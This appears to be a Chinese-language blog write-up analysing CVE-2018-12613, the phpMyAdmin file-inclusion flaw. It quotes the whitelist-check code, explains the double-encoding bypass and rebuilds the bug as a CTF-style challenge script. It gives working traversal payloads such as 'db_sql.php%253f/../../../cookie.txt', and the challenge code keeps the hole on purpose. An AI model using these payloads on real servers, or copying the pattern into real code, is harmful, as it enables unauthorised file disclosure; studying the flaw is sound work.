CVE-2018-12613 的一些思考

复现 CVE-2018-12613 的一些思考,关于文件包含路径的问题

漏洞

/index.php 第 55 行

1
2
3
4
5
6
7
8
9
10
11
12
13
$target_blacklist = array (
'import.php', 'export.php'
);

if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

传入参数 target 需要满足

  1. 不以 index.php 开头
  2. 不在 target_blacklist 中
  3. 通过 checkPageValidity() 函数检验

checkPageValidity() 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

第一个返回 True 的地方,直接将 page 与 whitelist 比较,传入的必须是白名单里的文件名,无法绕过

1
2
3
if (in_array($page, $whitelist)) {
return true;
}

第二个返回 True 的地方,mb_strpos($x, $y) 函数查找 $y 在 $x 中首次出现的位置。mb_substr($str, $start, $length) 函数从 $str 中,截取从 $start 位置开始,长度为 $length 的字符串。

但是在这里如果直接构造 payload : ?target=db_sql.php?/../../../cookie.txt 并不能跨路径包含,? 后面的字符串会被当做传入 db_sql.php 的参数,这就要利用后面的 urldecode 了

1
2
3
4
5
6
7
8
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

第三个返回 True 的地方,可以利用双重编码绕过,将 ? 经过两次编码 %253f 就可以绕过白名单验证。%253f 传入时,首先会被自动解码一次,变成 %3f,然后urldecode() 再解码一次,就变成了 ?

此时的 payload : ?target=db_sql.php%253f/../../../cookie.txt

1
2
3
4
5
6
7
8
9
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

问题

  1. include 'db_sql.php%253f/../../../cookie.txt' 为什么只会包含 cookie.txt 而不会包含 db_sql.php

  2. 传入 db_sql.php%253f/../../../cookie.txt 为什么会在 in_array($_page, $whitelist) 处返回 True

  3. 如图,z.php 中 include 两个 ../ 可以包含,y.php 中一个 include 也可以包含

  4. 在 php 的 include 中,include 'hint.php?/../cookie.txt'; 会报错,include 'hint.php%3f/../cookie.txt'; 不会报错,且可以成功包含

一些解释

在 include 中,举个例子,假设 x.php 代码包含 include '1source.phps/../cookie.txt'; ,假设 1source.phps 不存在,那么这个文件包含等同于 : 在 1source.phps 文件夹目录下的上一级中的 cookie.txt ,也就是和 x.php 在同一目录下的 cookie.txt ,如果 1source.phps 存在,并且它是一个文件,那么肯定会报错,如果它是一个文件夹,也会成功包含 cookie.txt 。如果变为 include '1source.phps/./cookie.txt'; ,道理和上面相同

重新思考

  • 代码如下 :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
     <?php
    highlight_file(__FILE__);
    class emmm
    {
    public static function checkFile(&$page)
    {
    $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
    if (! isset($page) || !is_string($page)) {
    echo "you can't see it";
    return false;
    }
    if (in_array($page, $whitelist)) {
    return true;
    }
    $_page = mb_substr(
    $page,
    0,
    mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
    return true;
    }
    $_page = urldecode($page);
    $_page = mb_substr(
    $_page,
    0,
    mb_strpos($_page . '?', '?')
    );


    if (in_array($_page, $whitelist)) {
    return true;
    }
    echo "you can't see it";
    return false;
    }
    }

    if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
    ) {
    include $_REQUEST['file'];
    exit;
    } else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
    ?>
    • 传入 file=hint.php ,在第一个 in_array 处会返回 true,然后直接包含 hint.php
    • 传入 file=hint.php?/../cookie.txt ,在第二个 in_array 处会返回 true,第二个 in_array 中的 _pagehint.php ,然后包含 hint.php?/../cookie.txt ,但是这里的 ? 起到传递参数的作用而不是破坏路径
    • 传入 file=hint.php%253f/../cookie.txt ,在第三个 in_array 处会返回 true ,第三个 in_array 中的 _pagehint.php ,然后包含 hint.php%3f/../cookie.txt ,这里的 %3f? ,破坏了路径,前面部分的路径不存在,可以包含后面的文件